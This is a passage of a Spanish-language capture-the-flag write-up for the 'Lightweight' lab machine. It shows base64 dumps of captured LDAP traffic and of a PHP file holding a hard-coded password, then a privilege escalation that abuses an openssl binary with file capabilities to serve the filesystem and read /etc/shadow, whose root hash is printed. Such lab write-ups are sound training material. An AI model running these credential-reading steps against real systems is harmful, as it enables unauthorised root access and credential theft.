</span></span><span style="display:flex;"><span>MDkxMzMyNTFaFw0xOTA2MDkxMzMyNTFaMBoxGDAWBgNVBAMTD2xpZ2h0d2VpZ2h0Lmh0YjCBnzAN
</span></span><span style="display:flex;"><span>BgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAsb5xipmKNoa32SFobIOMcXsQ+bWgZpXMxnZ/EUjd/1+A
</span></span><span style="display:flex;"><span>chmNe1JNSfCX2IglWGg+/B4tUI2VSqqU2UHa1OSgtSakRFrwR/3cPjmrdUNIRULNSrrpO6AgMocW
</span></span><span style="display:flex;"><span>AbKm3ahtY/vsQMQ0TVSROK8wEvODJDLjNfUXMV3X7SSpmGggaEMCAwEAAaNAMD4wPAYDVR0RBDUw
</span></span><span style="display:flex;"><span>M4IPbGlnaHR3ZWlnaHQuaHRigglsb2NhbGhvc3SCFWxvY2FsaG9zdC5sb2NhbGRvbWFpbjANBgkq
</span></span><span style="display:flex;"><span>hkiG9w0BAQsFAAOBgQB3B1DTCImrMpzjRWaRZnoYmNpiGwfGKT3xbuWgsjK9FrP2cG9ngZLkluTQ
</span></span><span style="display:flex;"><span>2Nidqqj8JVCXMvqas2KWRxONM0P674QXNl4JUwKUKeMMRRBkSwKMS5nqyPzpbscKWG/idKCiXH/+
</span></span><span style="display:flex;"><span>4FgPiTUUjT/G2HAghAyeiZ5jkSgCtOBsSmwfkxYDAwAEDgAAAH8LJFujZAUAVgAAAFYAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAACG3WAAAAAAIAZA/oAAAAAAAAB5ChyaPWHeRP6AAAAAAAAAeQocmj1h3kTUpgGFW6LT
</span></span><span style="display:flex;"><span>jR+r6cOAEAK9X70AAAEBCAoBRlBnAUZQZ38LJFvUcgUAFAEAABQBAAAAAAAAAAAAAAAAAACG3WAA
</span></span><span style="display:flex;"><span>AAAA3gZA/oAAAAAAAAB5ChyaPWHeRP6AAAAAAAAAeQocmj1h3kTUpgGFW6LTjR+r6cOAGAK9YHsA
</span></span><span style="display:flex;"><span>AAEBCAoBRlBnAUZQZxYDAwCGEAAAggCAixsMhzdIhtjo8TzoA6Ry8iB95Wx8m9HBPGmIV6YIMhid
</span></span><span style="display:flex;"><span>HwbbvDzzuX7ypZOM2V2ArO5q7ybJXWREaWeFjxyil98j4xIj5DOMW/RlCBv9xYcpjrkE40/2OgHG
</span></span><span style="display:flex;"><span>IsHTbC924x2uTU/XmmpoAntBocy2MFSsZa8SMl9qILJnWy6j84EUAwMAAQEWAwMAKP74TNyqsf15
</span></span><span style="display:flex;"><span>Mbf3zX8wM4vhHhiTz3RJ6IkRL8Y7eqz9a5vCX4VqEv1/CyRbqXYFADgBAAA4AQAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAht1gAAAAAQIGQP6AAAAAAAAAeQocmj1h3kT+gAAAAAAAAHkKHJo9Yd5EAYXUph+r6cNbotRL
</span></span><span style="display:flex;"><span>gBgCzWCfAAABAQgKAUZQZwFGUGcWAwMAqgQAAKYAAAEsAKD57l3ipFWrzuknNW5vfoHHo/JT8/7u
</span></span><span style="display:flex;"><span>m5J08ujW+32Sj4WkJLpV/pJKg6dNwB99JuTSlK3No2g2Bu3pZKF3iF9WGDQrWfZx9b6wvYZwQ4Xh
</span></span><span style="display:flex;"><span>Jv2oNTyFeGwtlzJitVxlleXTPsUsj5rNjDCw0WXqFNOZ/JrpDbISU24BHhF4lldIV3/wo2hgGgUf
</span></span><span style="display:flex;"><span>qZLmebX0glkORliwrR9MCc8XjH3mLFfgFAMDAAEBFgMDACgPffyr1eMGe5ZPNJhff1eZMACPLUPU
</span></span><span style="display:flex;"><span>/yYmnJ0WBdYk5J/0hDrAVy/LfwskW9GUBQDOAAAAzgAAAAAAAAAAAAAAAAAAAIbdYAAAAACYBkD+
</span></span><span style="display:flex;"><span>gAAAAAAAAHkKHJo9Yd5E/oAAAAAAAAB5ChyaPWHeRNSmAYVbotRLH6vqpYAYAtBgNQAAAQEICgFG
</span></span><span style="display:flex;"><span>UHQBRlBnFwMDAHP++EzcqrH9erdfE873ZLoP2Y5kcq1eZyJ2MjKlMLxPg7C+doKSVLiGinJ54T6+
</span></span><span style="display:flex;"><span>Pe/zHxAmy9D058ae5TVwy3k6/2SrwlVjt0r+xaTxV4Rp5gVE+Fm0nWvH/LZEH/UhAI6r3OoYNFkr
</span></span><span style="display:flex;"><span>sgcWEFubwQ12cDI7fwskW4vBBQCBAAAAgQAAAAAAAAAAAAAAAAAAAIbdYAAAAABLBkD+gAAAAAAA
</span></span><span style="display:flex;"><span>AHkKHJo9Yd5E/oAAAAAAAAB5ChyaPWHeRAGF1KYfq+qlW6LUw4AYAs1f6AAAAQEICgFGUH4BRlB0
</span></span><span style="display:flex;"><span>FwMDACYPffyr1eMGfIiMICBGhSWS8txy4KD8BnL9cm3ef9bFSHEsutsevn8LJFvp6AUAegAAAHoA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAACG3WAAAAAARAZA/oAAAAAAAAB5ChyaPWHeRP6AAAAAAAAAeQocmj1h3kTU
</span></span><span style="display:flex;"><span>pgGFW6LUwx+r6tCAGALQX+EAAAEBCAoBRlCIAUZQfhcDAwAf/vhM3Kqx/Xs5zby6n6O0PHjUY4uU
</span></span><span style="display:flex;"><span>/voOWhBY4eGMMH8LJFuF6QUAdQAAAHUAAAAAAAAAAAAAAAAAAACG3WAAAAAAPwZA/oAAAAAAAAB5
</span></span><span style="display:flex;"><span>ChyaPWHeRP6AAAAAAAAAeQocmj1h3kTUpgGFW6LU5x+r6tCAGALQX9wAAAEBCAoBRlCIAUZQfhUD
</span></span><span style="display:flex;"><span>AwAa/vhM3Kqx/XyFtQGJtTh4PZ5dyf2DiwIYgYV/CyRbxekFAFYAAABWAAAAAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>ht1gAAAAACAGQP6AAAAAAAAAeQocmj1h3kT+gAAAAAAAAHkKHJo9Yd5E1KYBhVui1QYfq+rQgBEC
</span></span><span style="display:flex;"><span>0F+9AAABAQgKAUZQiAFGUH5/CyRbJvcFAHUAAAB1AAAAAAAAAAAAAAAAAAAAht1gAAAAAD8GQP6A
</span></span><span style="display:flex;"><span>AAAAAAAAeQocmj1h3kT+gAAAAAAAAHkKHJo9Yd5EAYXUph+r6tBbotUHgBgCzV/cAAABAQgKAUZQ
</span></span><span style="display:flex;"><span>jAFGUIgVAwMAGg99/KvV4wZ9lxHdy1AhL6KVkVDVLQIYKPphfwskW173BQBKAAAASgAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAIbdYAAAAAAUBkD+gAAAAAAAAHkKHJo9Yd5E/oAAAAAAAAB5ChyaPWHeRNSmAYVbotUH
</span></span><span style="display:flex;"><span>AAAAAFAEAABfsQAAhAskW0J8AABeAAAAXgAAAAAAAAAAAAAAAAAAAIbdYAAAAAAoBkD+gAAAAAAA
</span></span><span style="display:flex;"><span>AHkKHJo9Yd5E/oAAAAAAAAB5ChyaPWHeRNSoAYWAjUqUAAAAAKACqqpfxQAAAgT/xAQCCAoBRmKt
</span></span><span style="display:flex;"><span>AAAAAAEDAwaECyRbVn0AAF4AAABeAAAAAAAAAAAAAAAAAAAAht1gAAAAACgGQP6AAAAAAAAAeQoc
</span></span><span style="display:flex;"><span>mj1h3kT+gAAAAAAAAHkKHJo9Yd5EAYXUqETrysuAjUqVoBKqql/FAAACBP/EBAIICgFGYq8BRmKt
</span></span><span style="display:flex;"><span>AQMDBoQLJFupfQAAVgAAAFYAAAAAAAAAAAAAAAAAAACG3WAAAAAAIAZA/oAAAAAAAAB5ChyaPWHe
</span></span><span style="display:flex;"><span>RP6AAAAAAAAAeQocmj1h3kTUqAGFgI1KlUTrysyAEAKrX70AAAEBCAoBRmKvAUZir4QLJFuyfgAA
</span></span><span style="display:flex;"><span>sQAAALEAAAAAAAAAAAAAAAAAAACG3WAAAAAAewZA/oAAAAAAAAB5ChyaPWHeRP6AAAAAAAAAeQoc
</span></span><span style="display:flex;"><span>mj1h3kTUqAGFgI1KlUTrysyAGAKrYBgAAAEBCAoBRmKvAUZirzBZAgEBYFQCAQMELXVpZD1sZGFw
</span></span><span style="display:flex;"><span>dXNlcjIsb3U9UGVvcGxlLGRjPWxpZ2h0d2VpZ2h0LGRjPWh0YoAgOGJjODI1MTMzMmFiZTFkN2Yx
</span></span><span style="display:flex;"><span>MDVkM2U1M2FkMzlhYzKECyRbxn4AAFYAAABWAAAAAAAAAAAAAAAAAAAAht1gAAAAACAGQP6AAAAA
</span></span><span style="display:flex;"><span>AAAAeQocmj1h3kT+gAAAAAAAAHkKHJo9Yd5EAYXUqETrysyAjUrwgBACq1+9AAABAQgKAUZirwFG
</span></span><span style="display:flex;"><span>Yq+ECyRbnd4AAGQAAABkAAAAAAAAAAAAAAAAAAAAht1gAAAAAC4GQP6AAAAAAAAAeQocmj1h3kT+
</span></span><span style="display:flex;"><span>gAAAAAAAAHkKHJo9Yd5EAYXUqETrysyAjUrwgBgCq1/LAAABAQgKAUZiwgFGYq8wDAIBAWEHCgEA
</span></span><span style="display:flex;"><span>BAAEAIQLJFvY3gAAVgAAAFYAAAAAAAAAAAAAAAAAAACG3WAAAAAAIAZA/oAAAAAAAAB5ChyaPWHe
</span></span><span style="display:flex;"><span>RP6AAAAAAAAAeQocmj1h3kTUqAGFgI1K8ETrytqAEAKrX70AAAEBCAoBRmLCAUZiwoQLJFuSAgEA
</span></span><span style="display:flex;"><span>XQAAAF0AAAAAAAAAAAAAAAAAAACG3WAAAAAAJwZA/oAAAAAAAAB5ChyaPWHeRP6AAAAAAAAAeQoc
</span></span><span style="display:flex;"><span>mj1h3kTUqAGFgI1K8ETrytqAGAKrX8QAAAEBCAoBRmLNAUZiwjAFAgECQgCECyRbFAMBAFYAAABW
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAAht1gAAAAACAGQP6AAAAAAAAAeQocmj1h3kT+gAAAAAAAAHkKHJo9Yd5E
</span></span><span style="display:flex;"><span>1KgBhYCNSvdE68ragBECq1+9AAABAQgKAUZizQFGYsKECyRbYxkBAFYAAABWAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAht1gAAAAACAGQP6AAAAAAAAAeQocmj1h3kT+gAAAAAAAAHkKHJo9Yd5EAYXUqETrytqAjUr4
</span></span><span style="display:flex;"><span>gBECq1+9AAABAQgKAUZi1QFGYs2ECyRbgBkBAFYAAABWAAAAAAAAAAAAAAAAAAAAht1gAAAAACAG
</span></span><span style="display:flex;"><span>QP6AAAAAAAAAeQocmj1h3kT+gAAAAAAAAHkKHJo9Yd5E1KgBhYCNSvhE68rbgBACq1+9AAABAQgK
</span></span><span style="display:flex;"><span>AUZi1QFGYtWHCyRbkWgFAF4AAABeAAAAAAAAAAAAAAAAAAAAht1gAAAAACgGQP6AAAAAAAAAeQoc
</span></span><span style="display:flex;"><span>mj1h3kT+gAAAAAAAAHkKHJo9Yd5E1KoBhat08tMAAAAAoAKqql/FAAACBP/EBAIICgFGb6kAAAAA
</span></span><span style="display:flex;"><span>AQMDBocLJFsOaQUAXgAAAF4AAAAAAAAAAAAAAAAAAACG3WAAAAAAKAZA/oAAAAAAAAB5ChyaPWHe
</span></span><span style="display:flex;"><span>RP6AAAAAAAAAeQocmj1h3kQBhdSqYCaivKt08tSgEqqqX8UAAAIE/8QEAggKAUZvqQFGb6kBAwMG
</span></span><span style="display:flex;"><span>hwskW1lpBQBWAAAAVgAAAAAAAAAAAAAAAAAAAIbdYAAAAAAgBkD+gAAAAAAAAHkKHJo9Yd5E/oAA
</span></span><span style="display:flex;"><span>AAAAAAB5ChyaPWHeRNSqAYWrdPLUYCaivYAQAqtfvQAAAQEICgFGb6kBRm+phwskWxOaBQB1AAAA
</span></span><span style="display:flex;"><span>dQAAAAAAAAAAAAAAAAAAAIbdYAAAAAA/BkD+gAAAAAAAAHkKHJo9Yd5E/oAAAAAAAAB5ChyaPWHe
</span></span><span style="display:flex;"><span>RNSqAYWrdPLUYCaivYAYAqtf3AAAAQEICgFGb7MBRm+pMB0CAQF3GIAWMS4zLjYuMS40LjEuMTQ2
</span></span><span style="display:flex;"><span>Ni4yMDAzN4cLJFtVmgUAVgAAAFYAAAAAAAAAAAAAAAAAAACG3WAAAAAAIAZA/oAAAAAAAAB5Chya
</span></span><span style="display:flex;"><span>PWHeRP6AAAAAAAAAeQocmj1h3kQBhdSqYCaivat08vOAEAKrX70AAAEBCAoBRm+zAUZvs4cLJFtJ
</span></span><span style="display:flex;"><span>nQUAZAAAAGQAAAAAAAAAAAAAAAAAAACG3WAAAAAALgZA/oAAAAAAAAB5ChyaPWHeRP6AAAAAAAAA
</span></span><span style="display:flex;"><span>eQocmj1h3kQBhdSqYCaivat08vOAGAKrX8sAAAEBCAoBRm+3AUZvszAMAgEBeAcKAQAEAAQAhwsk
</span></span><span style="display:flex;"><span>W1adBQBWAAAAVgAAAAAAAAAAAAAAAAAAAIbdYAAAAAAgBkD+gAAAAAAAAHkKHJo9Yd5E/oAAAAAA
</span></span><span style="display:flex;"><span>AAB5ChyaPWHeRNSqAYWrdPLzYCaiy4AQAqtfvQAAAQEICgFGb7cBRm+3hwskW0+xBQB3AQAAdwEA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAIbdYAAAAAFBBkD+gAAAAAAAAHkKHJo9Yd5E/oAAAAAAAAB5ChyaPWHeRNSq
</span></span><span style="display:flex;"><span>AYWrdPLzYCaiy4AYAqtg3gAAAQEICgFGb7cBRm+3FgMBARwBAAEYAwOtp7DwIjt5DIftpbauidHj
</span></span><span style="display:flex;"><span>CQyVnTtm/wKLhIpj89h4ZgAArMAwwCzAKMAkwBTACgClAKMAoQCfAGsAagBpAGgAOQA4ADcANgCI
</span></span><span style="display:flex;"><span>AIcAhgCFwDLALsAqwCbAD8AFAJ0APQA1AITAL8ArwCfAI8ATwAkApACiAKAAngBnAEAAPwA+ADMA
</span></span><span style="display:flex;"><span>MgAxADAAmgCZAJgAlwBFAEQAQwBCwDHALcApwCXADsAEAJwAPAAvAJYAQcASwAgAFgATABAADcAN
</span></span><span style="display:flex;"><span>wAMACgAHwBHAB8AMwAIABQAEAP8BAABDAAsABAMAAQIACgAKAAgAFwAZABgAFgAjAAAADQAgAB4G
</span></span><span style="display:flex;"><span>AQYCBgMFAQUCBQMEAQQCBAMDAQMCAwMCAQICAgMADwABAYcLJFsitgUAnwIAAJ8CAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAACG3WAAAAACaQZA/oAAAAAAAAB5ChyaPWHeRP6AAAAAAAAAeQocmj1h3kQBhdSqYCaiy6t0
</span></span><span style="display:flex;"><span>9BSAGAK8YgYAAAEBCAoBRm+9AUZvtxYDAwA6AgAANgMDP8rNswJlXKR/vtG63aJedPl20qs5o1ww
</span></span><span style="display:flex;"><span>H9KNJySEU6oAAJ0AAA7/AQABAAAjAAAADwABARYDAwH8CwAB+AAB9QAB8jCCAe4wggFXoAMCAQIC
</span></span><span style="display:flex;"><span>BQCtxrGyMA0GCSqGSIb3DQEBCwUAMBoxGDAWBgNVBAMTD2xpZ2h0d2VpZ2h0Lmh0YjAeFw0xODA2
</span></span><span style="display:flex;"><span>MDkxMzMyNTFaFw0xOTA2MDkxMzMyNTFaMBoxGDAWBgNVBAMTD2xpZ2h0d2VpZ2h0Lmh0YjCBnzAN
</span></span><span style="display:flex;"><span>BgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAsb5xipmKNoa32SFobIOMcXsQ+bWgZpXMxnZ/EUjd/1+A
</span></span><span style="display:flex;"><span>chmNe1JNSfCX2IglWGg+/B4tUI2VSqqU2UHa1OSgtSakRFrwR/3cPjmrdUNIRULNSrrpO6AgMocW
</span></span><span style="display:flex;"><span>AbKm3ahtY/vsQMQ0TVSROK8wEvODJDLjNfUXMV3X7SSpmGggaEMCAwEAAaNAMD4wPAYDVR0RBDUw
</span></span><span style="display:flex;"><span>M4IPbGlnaHR3ZWlnaHQuaHRigglsb2NhbGhvc3SCFWxvY2FsaG9zdC5sb2NhbGRvbWFpbjANBgkq
</span></span><span style="display:flex;"><span>hkiG9w0BAQsFAAOBgQB3B1DTCImrMpzjRWaRZnoYmNpiGwfGKT3xbuWgsjK9FrP2cG9ngZLkluTQ
</span></span><span style="display:flex;"><span>2Nidqqj8JVCXMvqas2KWRxONM0P674QXNl4JUwKUKeMMRRBkSwKMS5nqyPzpbscKWG/idKCiXH/+
</span></span><span style="display:flex;"><span>4FgPiTUUjT/G2HAghAyeiZ5jkSgCtOBsSmwfkxYDAwAEDgAAAIcLJFvUuAUAFAEAABQBAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAACG3WAAAAAA3gZA/oAAAAAAAAB5ChyaPWHeRP6AAAAAAAAAeQocmj1h3kTUqgGFq3T0
</span></span><span style="display:flex;"><span>FGAmpRSAGAK9YHsAAAEBCAoBRm+9AUZvvRYDAwCGEAAAggCAG75WYRTPS+2kVH5gWatP5mXKI4Aj
</span></span><span style="display:flex;"><span>KwEx7B125zkKauM4u7XOHFV2c1ikYf8UHGRhQ/I06gwIkzxVAMMqxULZb6qOIRmHOK0WTIslOnOV
</span></span><span style="display:flex;"><span>uOWUzB+ZjiTLzh1thws1bWOKXV3OMzgDipNpRJ9BN94/pmhpK3K7K9DF7viyCU9fUdwUAwMAAQEW
</span></span><span style="display:flex;"><span>AwMAKE909+sRplnWQbf0FeaGDUo3DesbQNSta2mXZBDkfajhcRQTzQwMDk6HCyRb4rwFADgBAAA4
</span></span><span style="display:flex;"><span>AQAAAAAAAAAAAAAAAAAAht1gAAAAAQIGQP6AAAAAAAAAeQocmj1h3kT+gAAAAAAAAHkKHJo9Yd5E
</span></span><span style="display:flex;"><span>AYXUqmAmpRSrdPTSgBgCzWCfAAABAQgKAUZvvQFGb70WAwMAqgQAAKYAAAEsAKD57l3ipFWrzukn
</span></span><span style="display:flex;"><span>NW5vfoHHSnVt03xgro8CuCSHOtA7jjHjCrc9viLu3vKuKOCVaTMYFnR+42dLVvYhHWzSb7SnDpl/
</span></span><span style="display:flex;"><span>C3iY+lCT2R0jfeOJm1IxpuRMIPKp8rPr4Ifo03/thin8G5RwcR3I5CLCfaVtqKLoMla09zXtkCLW
</span></span><span style="display:flex;"><span>/vORKnjIjeRpbnhd7dk2f4ijSEeFNcllTQczXaDM3gb8oHpCFAMDAAEBFgMDACiaYYnB5BjucdB8
</span></span><span style="display:flex;"><span>ZgLyroOQlvLtd0jvB4TzRe8ur4o+XN0mySSH7dEPhwskWzO/BQDOAAAAzgAAAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AIbdYAAAAACYBkD+gAAAAAAAAHkKHJo9Yd5E/oAAAAAAAAB5ChyaPWHeRNSqAYWrdPTSYCal9oAY
</span></span><span style="display:flex;"><span>AtBgNQAAAQEICgFGb70BRm+9FwMDAHNPdPfrEaZZ1zDk6rUjGlJ6Al708nxoQ6egKGoWE3/2u+hk
</span></span><span style="display:flex;"><span>lGFOryPmnWtvnWDEmIE0SP4eTWDusdbYRk4r5Ua4+Uq2IjMSirl/ioSKEej90FDmKfXu68bGHDh3
</span></span><span style="display:flex;"><span>1q5Xew9KczuHGhSQTCWYmYC6jczDceiBhwskWxjtBQCBAAAAgQAAAAAAAAAAAAAAAAAAAIbdYAAA
</span></span><span style="display:flex;"><span>AABLBkD+gAAAAAAAAHkKHJo9Yd5E/oAAAAAAAAB5ChyaPWHeRAGF1KpgJqX2q3T1SoAYAs1f6AAA
</span></span><span style="display:flex;"><span>AQEICgFGb8cBRm+9FwMDACaaYYnB5BjucsZRKLPGsJpMfjhtuo+6gsZE0UfvEYR75oIkTFyVWYcL
</span></span><span style="display:flex;"><span>JFu78QUAegAAAHoAAAAAAAAAAAAAAAAAAACG3WAAAAAARAZA/oAAAAAAAAB5ChyaPWHeRP6AAAAA
</span></span><span style="display:flex;"><span>AAAAeQocmj1h3kTUqgGFq3T1SmAmpiGAGALQX+EAAAEBCAoBRm/HAUZvxxcDAwAfT3T36xGmWdgL
</span></span><span style="display:flex;"><span>JK7uaea2HX84KayYXYajgKc4sGmoW4cLJFsH8gUAdQAAAHUAAAAAAAAAAAAAAAAAAACG3WAAAAAA
</span></span><span style="display:flex;"><span>PwZA/oAAAAAAAAB5ChyaPWHeRP6AAAAAAAAAeQocmj1h3kTUqgGFq3T1bmAmpiGAGALQX9wAAAEB
</span></span><span style="display:flex;"><span>CAoBRm/HAUZvxxUDAwAaT3T36xGmWdnT2sRdtl+zs6YSpajK8V+XXy6HCyRbNfIFAFYAAABWAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAht1gAAAAACAGQP6AAAAAAAAAeQocmj1h3kT+gAAAAAAAAHkKHJo9Yd5E1KoB
</span></span><span style="display:flex;"><span>hat09Y1gJqYhgBEC0F+9AAABAQgKAUZvxwFGb8eHCyRblgEGAHUAAAB1AAAAAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>ht1gAAAAAD8GQP6AAAAAAAAAeQocmj1h3kT+gAAAAAAAAHkKHJo9Yd5EAYXUqmAmpiGrdPWOgBgC
</span></span><span style="display:flex;"><span>zV/cAAABAQgKAUZvzgFGb8cVAwMAGpphicHkGO5zhpngr4hLaCXkBROSsoCWC13jhwskW+kBBgBK
</span></span><span style="display:flex;"><span>AAAASgAAAAAAAAAAAAAAAAAAAIbdYAAAAAAUBkD+gAAAAAAAAHkKHJo9Yd5E/oAAAAAAAAB5Chya
</span></span><span style="display:flex;"><span>PWHeRNSqAYWrdPWOAAAAAFAEAABfsQAA
</span></span><span style="display:flex;"><span>[ldapuser1@lightweight ~]$ base64 ldapTLS.php
</span></span><span style="display:flex;"><span>PD9waHAKJHVzZXJuYW1lID0gJ2xkYXB1c2VyMSc7CiRwYXNzd29yZCA9ICdmM2NhOWQyOThhNTUz
</span></span><span style="display:flex;"><span>ZGExMTc0NDJkZWViNmZhOTMyZCc7CgovLyBUaGlzIGNvZGUgdXNlcyB0aGUgU1RBUlRfVExTIGNv
</span></span><span style="display:flex;"><span>bW1hbmQKCiRsZGFwaG9zdCA9ICJsZGFwOi8vbGlnaHR3ZWlnaHQuaHRiIjsKJGxkYXBVc2VybmFt
</span></span><span style="display:flex;"><span>ZSAgPSAiY249JHVzZXJuYW1lIjsKCiRkcyA9IGxkYXBfY29ubmVjdCgkbGRhcGhvc3QpOwokZG4g
</span></span><span style="display:flex;"><span>PSAidWlkPWxkYXB1c2VyMSxvdT1QZW9wbGUsZGM9bGlnaHR3ZWlnaHQsZGM9aHRiIjsgCgppZigh
</span></span><span style="display:flex;"><span>bGRhcF9zZXRfb3B0aW9uKCRkcywgTERBUF9PUFRfUFJPVE9DT0xfVkVSU0lPTiwgMykpewogICAg
</span></span><span style="display:flex;"><span>cHJpbnQgIkNvdWxkIG5vdCBzZXQgTERBUHYzXHJcbiI7Cn0KZWxzZSBpZiAoIWxkYXBfc3RhcnRf
</span></span><span style="display:flex;"><span>dGxzKCRkcykpIHsKICAgIHByaW50ICJDb3VsZCBub3Qgc3RhcnQgc2VjdXJlIFRMUyBjb25uZWN0
</span></span><span style="display:flex;"><span>aW9uIjsKfQplbHNlCiB7Ci8vIG5vdyB3ZSBuZWVkIHRvIGJpbmQgdG8gdGhlIGxkYXAgc2VydmVy
</span></span><span style="display:flex;"><span>CiRidGggPSBsZGFwX2JpbmQoJGRzLCAkZG4sICRwYXNzd29yZCkgb3IgZGllKCJcclxuQ291bGQg
</span></span><span style="display:flex;"><span>bm90IGNvbm5lY3QgdG8gTERBUCBzZXJ2ZXJcclxuIik7CgplY2hvICJUTFMgY29ubmVjdGlvbiBl
</span></span><span style="display:flex;"><span>c3RhYmxpc2hlZC4iOwp9Cj8+Cg==
</span></span></code></pre></div><p>Cuando estuve buscando si mi usuario podía usar tcpdump, me encontré con un tema de getcap interesante, por lo que después cuando <code>linenum</code> me dio algunos resultados enseguida lo ejecute de manera recurrente:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>[ldapuser1@lightweight /]$ getcap -r / 2&gt;/dev/null
</span></span><span style="display:flex;"><span>/usr/bin/ping = cap_net_admin,cap_net_raw+p
</span></span><span style="display:flex;"><span>/usr/sbin/mtr = cap_net_raw+ep
</span></span><span style="display:flex;"><span>/usr/sbin/suexec = cap_setgid,cap_setuid+ep
</span></span><span style="display:flex;"><span>/usr/sbin/arping = cap_net_raw+p
</span></span><span style="display:flex;"><span>/usr/sbin/clockdiff = cap_net_raw+p
</span></span><span style="display:flex;"><span>/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+ep
</span></span><span style="display:flex;"><span>/home/ldapuser1/tcpdump = cap_net_admin,cap_net_raw+ep
</span></span><span style="display:flex;"><span>/home/ldapuser1/openssl =ep
</span></span><span style="display:flex;"><span>[ldapuser1@lightweight /]$
</span></span></code></pre></div><p>Si prestamos atención y replicamos con LinEnum tenemos:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>[+] Files with POSIX capabilities set:
</span></span><span style="display:flex;"><span>/usr/bin/ping = cap_net_admin,cap_net_raw+p
</span></span><span style="display:flex;"><span>/usr/sbin/mtr = cap_net_raw+ep
</span></span><span style="display:flex;"><span>/usr/sbin/suexec = cap_setgid,cap_setuid+ep
</span></span><span style="display:flex;"><span>/usr/sbin/arping = cap_net_raw+p
</span></span><span style="display:flex;"><span>/usr/sbin/clockdiff = cap_net_raw+p
</span></span><span style="display:flex;"><span>/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+ep
</span></span><span style="display:flex;"><span>/home/ldapuser1/tcpdump = cap_net_admin,cap_net_raw+ep
</span></span><span style="display:flex;"><span>/home/ldapuser1/openssl =ep
</span></span></code></pre></div><p>Tenemos en nuestro home 2 programas (que ya era raro tenerlos ahí) que tienen privilegios vía <strong>capabilities</strong> del kernel. Un par de <em>googleadas</em> después de buscar <em>privesc capabilities</em> encontraremos el siguiente enlace:</p>
<p><a href="https://vulp3cula.gitbook.io/hackers-grimoire/post-exploitation/privesc-linux">https://vulp3cula.gitbook.io/hackers-grimoire/post-exploitation/privesc-linux</a></p>
<p>Ahí encontraremos que usando openssl con capabilities de EP (like root), podemos leer y editar cualquier archivo. Así que manos a la obra:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>[ldapuser1@lightweight ~]$ mkdir /dev/shm/miau
</span></span><span style="display:flex;"><span>[ldapuser1@lightweight ~]$ openssl req -x509 -newkey rsa:2048 -keyout /dev/shm/miau/key.pem -out /dev/shm/miau/cert.pem -days 365 -nodes
</span></span><span style="display:flex;"><span>Generating a 2048 bit RSA private key
</span></span><span style="display:flex;"><span>...+++
</span></span><span style="display:flex;"><span>...................................+++
</span></span><span style="display:flex;"><span>writing new private key to &#39;/dev/shm/miau/key.pem&#39;
</span></span><span style="display:flex;"><span>-----
</span></span><span style="display:flex;"><span>You are about to be asked to enter information that will be incorporated
</span></span><span style="display:flex;"><span>into your certificate request.
</span></span><span style="display:flex;"><span>What you are about to enter is what is called a Distinguished Name or a DN.
</span></span><span style="display:flex;"><span>There are quite a few fields but you can leave some blank
</span></span><span style="display:flex;"><span>For some fields there will be a default value,
</span></span><span style="display:flex;"><span>If you enter &#39;.&#39;, the field will be left blank.
</span></span><span style="display:flex;"><span>-----
</span></span><span style="display:flex;"><span>Country Name (2 letter code) [XX]:
</span></span><span style="display:flex;"><span>State or Province Name (full name) []:
</span></span><span style="display:flex;"><span>Locality Name (eg, city) [Default City]:
</span></span><span style="display:flex;"><span>Organization Name (eg, company) [Default Company Ltd]:
</span></span><span style="display:flex;"><span>Organizational Unit Name (eg, section) []:
</span></span><span style="display:flex;"><span>Common Name (eg, your name or your server&#39;s hostname) []:
</span></span><span style="display:flex;"><span>Email Address []:
</span></span></code></pre></div><p>Certificado listo, ahora toca levantar el servicio de https en un puerto <em>elite</em>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>[ldapuser1@lightweight /]$ /home/ldapuser1/openssl s_server -key /dev/shm/miau/key.pem -cert /dev/shm/miau/cert.pem -port 1337 -HTTP &amp;
</span></span><span style="display:flex;"><span>[2] 15110
</span></span><span style="display:flex;"><span>[ldapuser1@lightweight /]$ Using default temp DH parameters
</span></span><span style="display:flex;"><span>ACCEPT
</span></span></code></pre></div><p>Servicio HTTPS listo. Recordemos que el home desde donde se ejecuta este servicio es raíz (/). Probemos con /etc/shadow como dice el articulo:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>[ldapuser1@lightweight /]$ curl -k https://127.0.0.1:1337/etc/shadow
</span></span><span style="display:flex;"><span>FILE:etc/shadow
</span></span><span style="display:flex;"><span>ACCEPT
</span></span><span style="display:flex;"><span>root:$6$saltsalt$YTeBOLnmm3CoeJTzBuijUEtOEWCqrw/nQ8/AeMmON4LGp3k0ZiMjC1OdqzWFUAfDQBvYkOch9BWtQTBcZ1E/p0:17632:0:99999:7:::
</span></span><span style="display:flex;"><span>bin:*:17632:0:99999:7:::
